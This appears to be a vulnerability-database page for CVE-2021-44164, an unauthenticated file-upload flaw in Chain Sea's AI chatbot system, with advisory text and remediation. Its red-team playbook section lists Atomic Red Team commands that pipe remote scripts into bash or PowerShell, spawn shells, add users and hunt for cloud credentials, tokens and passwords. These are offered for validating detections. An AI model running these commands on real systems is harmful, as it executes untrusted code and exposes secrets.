CVE-2021-44164
Overview
The vulnerability is an unrestricted file upload flaw rooted in insufficient filtering of special characters within URLs in the file upload function of Chain Sea Information Integration Co., Ltd's AI chatbot system. This inadequate validation allows bypassing of file type checks, specifically affecting the file upload component responsible for processing user-supplied URLs. The core issue lies in the failure to properly sanitize and validate input, enabling malicious payloads to be accepted and processed by the system.
Vulnerability Description
Chain Sea ai chatbot system’s file upload function has insufficient filtering for special characters in URLs, which allows a remote attacker to by-pass file type validation, upload malicious script and execute arbitrary code without authentication, in order to take control of the system or terminate service.
Impact
An unauthenticated remote attacker can exploit this vulnerability to upload and execute arbitrary malicious scripts on the target system, resulting in full system compromise or denial of service. The attack requires only network access to the file upload interface and no user interaction or privileges, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). Successful exploitation can lead to unauthorized control over the AI chatbot system, data manipulation, service disruption, and potential lateral movement within the affected environment.
Solution
Apply the security update provided by Chain Sea Information Integration Co., Ltd as detailed in their advisory at https://www.twcert.org.tw/tw/cp-132-5400-c31d1-1.html. The vendor recommends upgrading to the latest patched version of the qb_smart_service_robot product line where enhanced input validation and filtering mechanisms are implemented for the file upload function. If immediate patching is not feasible, restrict network access to the upload interface and monitor for suspicious file upload activity as interim mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Chain Sea AI chatbot system arises from inadequate filtering of special characters in URLs during the file upload process. This oversight permits an attacker to bypass file type validation mechanisms, enabling the upload of malicious scripts disguised as legitimate files. Once uploaded, these scripts can be executed remotely, allowing the attacker to execute arbitrary code on the server. The lack of authentication requirements further exacerbates the issue, as it permits unauthorized users to exploit this vulnerability without needing valid credentials, thereby increasing the attack surface significantly.
Attack vectors associated with this vulnerability are varied and can be executed through multiple exploitation scenarios. An attacker could craft a URL containing special characters that are not properly sanitized by the file upload function. By uploading a malicious script, the attacker could gain control over the server, leading to unauthorized access to sensitive data or the ability to manipulate system functions. Additionally, the attacker could leverage this vulnerability to launch denial-of-service attacks, disrupting the service for legitimate users. The ease of exploitation, combined with the lack of authentication, makes this vulnerability particularly dangerous, as it allows for both remote code execution and service interruption with minimal effort.
The real-world impact of this vulnerability can be significant, especially for businesses relying on the Chain Sea AI chatbot system for customer interaction and data handling. A successful exploitation could lead to data breaches, loss of customer trust, and potential legal ramifications if sensitive information is compromised. Furthermore, the ability to execute arbitrary code could allow attackers to deploy ransomware or other malicious software, resulting in financial losses and operational downtime. The high CVSS score of 9.8 indicates a critical risk, emphasizing the urgency for organizations using this system to address the vulnerability promptly.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular security audits and vulnerability assessments can help identify weaknesses in the system. Employing web application firewalls (WAFs) can provide an additional layer of protection by filtering out malicious requests before they reach the application. Furthermore, it is essential to enforce strict input validation and sanitization protocols for file uploads, ensuring that only legitimate file types are accepted. Additionally, implementing robust authentication mechanisms can help limit access to the file upload functionality, reducing the likelihood of unauthorized exploitation.
In conclusion, the vulnerability present in the Chain Sea AI chatbot system poses a significant threat to organizations utilizing this technology. The combination of insufficient input validation, lack of authentication, and the potential for remote code execution creates a high-risk environment for businesses. By understanding the technical details, potential attack vectors, and real-world implications, organizations can better prepare themselves to detect and mitigate this vulnerability, ultimately safeguarding their systems and maintaining customer trust.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Chinasea | Qb Smart Service Robot | N/A |
cpe:2.3:a:chinasea:qb_smart_service_robot:-:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-44164 |
| twcert.org.tw |
GitHub CVE
x_refsource_MISC
|
https://www.twcert.org.tw/tw/cp-132-5400-c31d1-1.html |